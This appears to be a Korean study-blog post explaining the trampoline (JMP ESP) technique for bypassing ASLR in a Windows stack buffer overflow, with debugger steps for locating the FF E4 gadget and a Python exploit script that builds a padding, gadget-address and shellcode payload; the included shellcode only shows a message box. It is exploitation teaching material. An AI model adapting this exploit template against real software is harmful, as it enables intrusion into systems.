프로젝트

Trampoline Technique

Dalseung 2020. 2. 16. 16:58

일반적인 EIP overwrite기법은 정확한 shellcode의 주소를 알아야 하는데 ASLR이 적용되면 스택의 주소가 랜덤하게 바뀌어 정확한 주소를 알기 어려워져 공격이 힘들다. 

위의 사진은 ASLR이 걸려있는 프로그램을 두번에 걸쳐 실행을 했을 때의 버퍼 주소이다.

보시다시피 하나는 01321359 , 다른 하나는 009C1359로 다르다.

이러한 경우에는 Trampoline기법을 사용한다.

Trampoline기법이란 쉘코드의 주소를 직접 쓰는 것이 아니라 JMP ESP 가젯을 이용하여 쉘코드가 저장된 주소로 이동하게 하는 기법이다.

디버거를 열어 ALT + M을 하여 메모리창으로 간뒤 CTRL + B를 하여 바이너리서치 메뉴를 열어 Hex창에 FF E4를 넣는다.

FF E4는 JMP ESP의 기계어 코드이다.

FF E4가 들어가 있는 주소는 맨 위의 주소로 6F7EC71B이다.

fgets함수 뒤의 strcpy함수는 TEST CL,CL을 하므로 LEA ECX부분에 브레이크 포인트를 한다.

이후에 exploit코드를 짜보자(이미 짜여져 있는 것이지만...)

import struct

print "[+] Creat text file..."

# Messagebox: HelloSCP!!
SHELLCODE  = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
SHELLCODE += "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
SHELLCODE += "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
SHELLCODE += "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
SHELLCODE += "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
SHELLCODE += "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x50\x21"
SHELLCODE += "\x21\x01\x68\x6c\x6f\x53\x43\x68\x20\x48\x65\x6c\x89\xe1\xfe"
SHELLCODE += "\x49\x0b\x31\xc0\x51\x50\xff\xd7"

print "Shellcode Length :", len(SHELLCODE)
DUMMY = "A" * 504
JMP = struct.pack('<L',0x6f7ec71b) #JMp ESP가젯 주소
contents = DUMMY + JMP + SHELLCODE
 
f = open("test.txt","w")
f.write(contents)
f.close()

이 코드를 실행하면 test.txt가 생긴다

이 파일을 인자로 주고 디버거 실행을 하면

A로 덮여지는데

보면 SFP까지 AAAA로 덮이고 그 뒤에 RET부분에 JMP ESP주소가 들어가 있다. 그리고 그 뒤로 shellcode가 있다.

계속 실행하면....

Hello SCP!!

cmd로 인자를 주고 시작해보았다. 역시 잘 뜬다.

 

출처: 윈도우 소프트웨어 시스템해킹 가이드

'프로젝트' 카테고리의 다른 글

Network basic training  (0) 2020.06.25
Windows Software Zer0-day hunting  (0) 2020.02.21
1-day Exploit 실습  (1) 2020.02.21
SEH overwrite  (0) 2020.02.17
Basic Stack BufferOverflow  (0) 2020.02.16